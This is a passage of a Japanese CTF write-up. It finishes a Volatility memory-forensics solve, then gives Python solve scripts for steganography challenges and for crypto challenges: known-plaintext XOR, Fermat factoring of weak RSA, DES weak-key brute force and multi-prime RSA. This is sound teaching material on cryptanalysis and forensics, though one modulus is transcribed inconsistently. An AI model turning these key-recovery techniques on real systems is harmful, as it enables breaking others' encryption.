 0x859eeca0:rundll32.exe                             2292   2276      5     69 2020-04-20 21:15:59 UTC+0000

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    220
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    300
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    336
Command line : wininit.exe
************************************************************************
csrss.exe pid:    344
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid:    372
Command line : winlogon.exe
************************************************************************
services.exe pid:    428
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid:    452
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    460
Command line : C:\Windows\system32\lsm.exe
************************************************************************
svchost.exe pid:    568
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid:    640
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
sppsvc.exe pid:    820
Command line : C:\Windows\system32\sppsvc.exe
************************************************************************
svchost.exe pid:    860
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    884
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
svchost.exe pid:    932
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:   1268
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:   1308
Command line : C:\Windows\System32\svchost.exe -k NetworkService
************************************************************************
TrustedInstall pid:   1452
Command line : C:\Windows\servicing\TrustedInstaller.exe
************************************************************************
spoolsv.exe pid:   1628
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid:   1656
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
svchost.exe pid:   1016
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
svchost.exe pid:    976
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
SearchIndexer. pid:   1736
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
SearchProtocol pid:   1008
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" 
************************************************************************
SearchFilterHo pid:   1120
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512 
************************************************************************
dwm.exe pid:   2120
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid:   2136
Command line : C:\Windows\Explorer.EXE
************************************************************************
taskhost.exe pid:   2168
Command line : "taskhost.exe"
************************************************************************
rundll32.exe pid:   2292
Command line : C:\Windows\system32\rundll32.exe "C:\Program Files\Internet Explorer\iessetup.dll",ProcessInputFiles 
************************************************************************
rundll32.exe pid:   2316
Command line : C:\Windows\system32\rundll32.exe "C:\Program Files\Windows Media Player\wmssetup.dll",ProcessInputFiles 
************************************************************************
rundll32.exe pid:   2336
Command line : C:\Windows\system32\rundll32.exe "C:\Windows\ehome\ehssetup.dll",ProcessInputFiles 
************************************************************************
regsvr32.exe pid:   2436
************************************************************************
audiodg.exe pid:   2940
Command line : C:\Windows\system32\AUDIODG.EXE 0x840
************************************************************************
wmpnetwk.exe pid:   3188
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
SearchProtocol pid:   3324
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-1009647700-157507912-1895895447-10012_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-1009647700-157507912-1895895447-10012 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
************************************************************************
cmd.exe pid:   3460
Command line : "C:\Windows\system32\cmd.exe" 
************************************************************************
conhost.exe pid:   3468
Command line : \??\C:\Windows\system32\conhost.exe

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 3468
Console: 0xc781c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c
----
CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}
----
Screen 0x2d62d8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro}                             
JCTF{nice_volatility_tricks_bro}                                                
                                                                                
C:\Users\JCTF>
JCTF{nice_volatility_tricks_bro}

Ksteg (Steganography 50)

https://github.com/lukechampine/jsteg/releasesでjstegツールを入手し、使ってみる。

>jsteg reveal luke.jpg
flag{yeast_bit_steganography_oops_another_typo}
flag{yeast_bit_steganography_oops_another_typo}

Doh (Steganography 50)

$ steghide extract -sf doh.jpg
Enter passphrase: 
wrote extracted data to "flag.txt".

steghideでパスワード空でflag.txtを抽出できた。

JCTF{an_annoyed_grunt}

Dead Swap (Steganography 100)

バイナリエディタで見てみると、\xffばかりのデータ。何か混ざっていないかと、\xffを取り除いてみると、\xfeのデータが入っていることが分かった。\xfeは固まって存在していて、8バイトごとで見ると、先頭バイトは必ず\xffなので、2進数に置き換え、文字にしてみる。フラグは文字を逆順にしたもの。

with open('deadswap', 'rb') as f:
    data = f.read()

codes = []
for i in range(0, len(data), 8):
    b = data[i:i+8]
    if '\xfe' in b:
        b = b.replace('\xff', '0')
        b = b.replace('\xfe', '1')
        codes.append(b)

flag = ''
for code in codes:
    flag += chr(int(code, 2))
flag = flag[::-1]
print flag
flag{what_are_you_doing_in_my_swap}

Docxor (Cryptography 75)

docxになると推測して、XORキーを調整しながら、復号する。

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

with open('homework', 'rb') as f:
    enc = f.read()

docx_head = 'PK\x03\x04\x14\x00\x08\x08'
key = str_xor(enc, docx_head)

flag = ''
for i in range(len(enc)):
    code = ord(enc[i]) ^ ord(key[i%len(key)])
    flag += chr(code)

with open('homework.docx', 'wb') as f:
    f.write(flag)

復号したdocxを開くと、フラグが書いてあった。

flag{xor_is_not_for_security}

Homecooked (Cryptography 100)

そのまま復号処理を実行すると、時間がかかる。a関数は素数のときに、Trueを返す。b関数は文字列として見たときに逆順でも同じときに、Trueを返す。a関数の判定部分を取り除き、次の素数をb関数で判定するように書き換える。

import base64
import gmpy2

num = 0
count = 0
cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="

def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
       return True
    else:
       return False

cipher = base64.b64decode(cipher_b64).decode().split(',')

flag = ''
while(count < len(cipher)):
    num = gmpy2.next_prime(num)
    if (b(num)):
        flag += chr(int(cipher[count]) ^ num)
        count += 1
        if (count == 13):
            num = 50000
        if (count == 26):
            num = 500000
    else:
        pass

print flag
flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

Twinning (Cryptography 100)

$ nc jh2i.com 50013
Generating public and private key...
Public Key in the format (e,n) is: (65537,12806964857123)
The Encrypted PIN is 5122205967777
What is the PIN?

簡単なRSA暗号。Fermat法で復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50013))

data = recvuntil(s, '?\n').rstrip()
print data
pub = eval(data.split('\n')[1].split(' ')[-1])
e = pub[0]
n = pub[1]
c = int(data.split('\n')[2].split(' ')[-1])

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print m
s.sendall(str(m) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Generating public and private key...
Public Key in the format (e,n) is: (65537,9658992683663)
The Encrypted PIN is 6453203719339
What is the PIN?
8259
Good job you won!
flag{thats_the_twinning_pin_to_win}
flag{thats_the_twinning_pin_to_win}

Ooo-la-la (Cryptography 100)

Fermat法でnを素因数分解し、復号する。

from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
e = 65537
c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag
flag{ooo_la_la_those_are_sexy_primes}

Unvreakable Vase (Cryptography 125)

$ echo zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30= | base64 -d
�la�{dok��z�k���n_co{�u�as_crypvoo}

base64文字列が崩れている。

$ echo -n 'flag{' | base64
ZmxhZ3s=

base64の大文字が小文字になってしまっているようだ。4文字ごとにデコードして可読文字で候補を挙げる。

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

enc = 'zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30='

for i in range(0, len(enc), 4):
    print '[+] index:', i / 4
    e = enc[i:i+4]
    for j in range(16):
        try_e = list(e)
        b = bin(j)[2:].zfill(4)
        for k in range(4):
            if b[k] == '1':
                try_e[k] = try_e[k].upper()
        dec = ''.join(try_e).decode('base64')
        if is_printable(dec):
            print '[-]', dec

実行結果は以下の通り。

[+] index: 0
[-] fla
[-] flG
[+] index: 1
[-] g{d
[-] g{J
[-] g{d
[-] g{J
[+] index: 2
[-] oes
[-] oeY
[-] oes
[-] oeY
[+] index: 3
[-] _th
[-] _tN
[-] _th
[-] _tN
[+] index: 4
[-] is_
[-] isE
[+] index: 5
[-] eve
[-] evK
[+] index: 6
[-] n_c
[-] n_I
[-] n_c
[-] n_I
[+] index: 7
[-] oun
[-] ouT
[-] oun
[-] ouT
[+] index: 8
[-] t_a
[-] t_G
[-] t_a
[-] t_G
[+] index: 9
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[+] index: 10
[-] ryp
[-] ryV
[+] index: 11
[-] too
[-] toU
[-] too
[-] toU
[+] index: 12
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}

意味が通るように選択する。

flag{does_this_even_count_as_cryptooo}

December (Cryptography 125)

flagを8の倍数の長さになるよう\x00でパディング。keyは不明。ivは"13371337"。flagをDES-OFBで暗号化。
総当たりで弱い鍵を使って、復号してみる。

from Crypto.Cipher import DES

with open('ciphertext','rb') as f:
    ct = f.read()

iv = '13371337'
keys = ['\x00\x00\x00\x00\x00\x00\x00\x00', '\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F',
    '\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0', '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF']

for key in keys:
    des = DES.new(key, DES.MODE_OFB, iv)
    flag = des.decrypt(ct)
    if 'flag' in flag:
        print 'key(hex) =', key.encode('hex')
        print flag
        break

実行結果は以下の通り。

key(hex) = 1e1e1e1e0f0f0f0f
These are my snow covered dreams
This is me pretending
flag{this_is_all_i_need}
flag{this_is_all_i_need}

Raspberry (Cryptography 125)

nを素因数分解する。

$ python -m primefac 77352089398489850796806146335817822371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317: 3750978137 2589229021 3130932919 2982067987 3979951739 2265830453 2208664111 4033877203 3789130951 2508863309 2642723827 4205130337 2465499073 3510442297 3810149963 3290718047 2758626487 2214452749 2259012491 4268160257 3644712913 2372942981 2393757139 3650456981 4221911101 2947867051 3726115171 2850808189 3600488797 2543358889 4128271747 4162800959

Multi-prime RSA暗号の問題なので、その復号方法で復号する。

from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * inverse(p, n_i) * p
    return sum % prod

n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
e = 65537
c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681

primes = [
    3750978137, 2589229021, 3130932919, 2982067987, 3979951739, 2265830453, 
    2208664111, 4033877203, 3789130951, 2508863309, 2642723827, 4205130337,
    2465499073, 3510442297, 3810149963, 3290718047, 2758626487, 2214452749,
    2259012491, 4268160257, 3644712913, 2372942981, 2393757139, 3650456981,
    4221911101, 2947867051, 3726115171, 2850808189, 3600488797, 2543358889, 
    4128271747, 4162800959]

n_ary = []
a_ary = []
for p in primes:
    phi = p - 1
    d = inverse(e, phi)
    mk = pow(c, d, p)
    n_ary.append(p)
    a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = long_to_bytes(m)
print flag
flag{there_are_a_few_extra_berries_in_this_one}